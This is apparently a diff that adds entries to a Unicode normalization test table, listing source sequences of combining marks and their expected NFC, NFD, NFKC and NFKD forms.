+{ source: [0x0061, 0x07F3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0816, 0x0062], NFC: [0x00E0, 0x05AE, 0x0816, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0816, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0816, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0816, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0816, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0817, 0x0062], NFC: [0x00E0, 0x05AE, 0x0817, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0817, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0817, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0817, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0817, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0818, 0x0062], NFC: [0x00E0, 0x05AE, 0x0818, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0818, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0818, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0818, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0818, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0819, 0x0062], NFC: [0x00E0, 0x05AE, 0x0819, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0819, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0819, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0819, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0819, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081B, 0x0062], NFC: [0x00E0, 0x05AE, 0x081B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081C, 0x0062], NFC: [0x00E0, 0x05AE, 0x081C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081D, 0x0062], NFC: [0x00E0, 0x05AE, 0x081D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081E, 0x0062], NFC: [0x00E0, 0x05AE, 0x081E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081F, 0x0062], NFC: [0x00E0, 0x05AE, 0x081F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0820, 0x0062], NFC: [0x00E0, 0x05AE, 0x0820, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0820, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0820, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0820, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0820, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0821, 0x0062], NFC: [0x00E0, 0x05AE, 0x0821, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0821, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0821, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0821, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0821, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0822, 0x0062], NFC: [0x00E0, 0x05AE, 0x0822, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0822, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0822, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0822, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0822, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0823, 0x0062], NFC: [0x00E0, 0x05AE, 0x0823, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0823, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0823, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0823, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0823, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0825, 0x0062], NFC: [0x00E0, 0x05AE, 0x0825, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0825, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0825, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0825, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0825, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0826, 0x0062], NFC: [0x00E0, 0x05AE, 0x0826, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0826, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0826, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0826, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0826, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0827, 0x0062], NFC: [0x00E0, 0x05AE, 0x0827, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0827, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0827, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0827, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0827, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0829, 0x0062], NFC: [0x00E0, 0x05AE, 0x0829, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0829, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0829, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0829, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0829, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082A, 0x0062], NFC: [0x00E0, 0x05AE, 0x082A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082B, 0x0062], NFC: [0x00E0, 0x05AE, 0x082B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082C, 0x0062], NFC: [0x00E0, 0x05AE, 0x082C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082D, 0x0062], NFC: [0x00E0, 0x05AE, 0x082D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0859, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0859, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0859, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0859, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0859, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0859, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0859, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0859, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0859, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0859, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x085A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x085A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x085A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x085A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x085A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x085A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x085A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x085A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x085A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x085A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x085B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x085B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x085B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x085B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x085B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x085B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x085B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x085B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x085B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x085B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D4, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D5, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D6, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D7, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D8, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D9, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DA, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DB, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DC, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DD, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DE, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DF, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DF, 0x0315, 0x0062] },
